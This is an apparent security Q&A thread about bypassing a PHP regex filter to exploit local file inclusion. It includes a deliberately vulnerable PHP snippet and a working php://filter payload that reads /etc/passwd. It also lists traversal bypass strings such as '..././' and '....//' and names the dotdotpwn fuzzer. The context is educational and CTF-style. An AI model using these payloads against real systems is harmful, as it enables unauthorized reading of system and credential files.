2
    $patterns[0] = '/[^[:print:]]+/'; // remove non-printable characters
    $patterns[1] = '/[ \t]+$/';  // remove whitespace at end of string
    $patterns[2] = '/^[ \t]+/';  // remove whitespace at beginning of string
    $patterns[4] = '/^[\\\\|\/]+/'; // remove leading slash if one exists
    $patterns[5] = '/^[\.\.\/|\.\.\\\\]+/'; // remove all ../ and all ..\ if any exist

I would appreciate any help explaining how to bypass this filter so i can successfully use LFI.

David
  • 95
  • 1
  • 7

2 Answers2

6
$pattern1 = '/[^[:print:]]+/'; // remove non-printable characters
$pattern2 = '/[ \t]+$/';  // remove whitespace at end of string
$pattern3 = '/^[ \t]+/';  // remove whitespace at beginning of string
$pattern4 = '/^[\\\\|\/]+/'; // remove leading slash if one exists
$pattern5 = '/^[\.\.\/|\.\.\\\\]+/'; // remove all ../ and all ..\ if any exist

echo "Welcome";
$data = $_GET['file'];
if (!preg_match($pattern1, $data)){
    if (!preg_match($pattern2, $data)){
        if (!preg_match($pattern3, $data)){
            if (!preg_match($pattern4, $data)){
                if (!preg_match($pattern5, $data)){
                    echo file_get_contents($data);
                }
            }
        }
    }
}

Payload: http://localhost:8080/php.php?file=php://filter/tmp/resource=/etc/passwd

Explanation:

  • It has all printable characters so bypassed 1st condition.
  • It doesn't start or end with space, so I bypassed 2nd and 3rd condition.
  • I used php://filter wrapper so bypassed 4th condition.
  • I used absolute path to bypass 5th condition.

You can place anything between filter and resource: /filter/JUNK/resource

Note: Please correct me if I did something wrong. You may want to use file:///etc/passwd as this payload is php specific.
Payloaded etcpasswd

Here's a similar challenge by me: LFI CTF

  • 2
    a very interesting bypass technique. thank you Dipesh – David Oct 28 '20 at 08:55
  • 1
    Filters are great, but can't be used if you don't control the start of the string, such as `include("lib/".$filtered_var);` so it's a more conditional bypass – wireghoul Oct 28 '20 at 22:30
4

Think about what will remain after things get removed. F.ex: if you remove the spaces from the following . . /. The order matters, and there isn't enough code to determine the order in which the patterns are removed, but you can use the removal of ../ to leave ../ behind, unless it's recursively replacing. Simply inject a ../ inside a .. such as ..././ or ....// you can even use dotdotpwn to try a variety of bypasses. https://github.com/wireghoul/dotdotpwn

wireghoul
  • 5,745
  • 2
  • 17
  • 26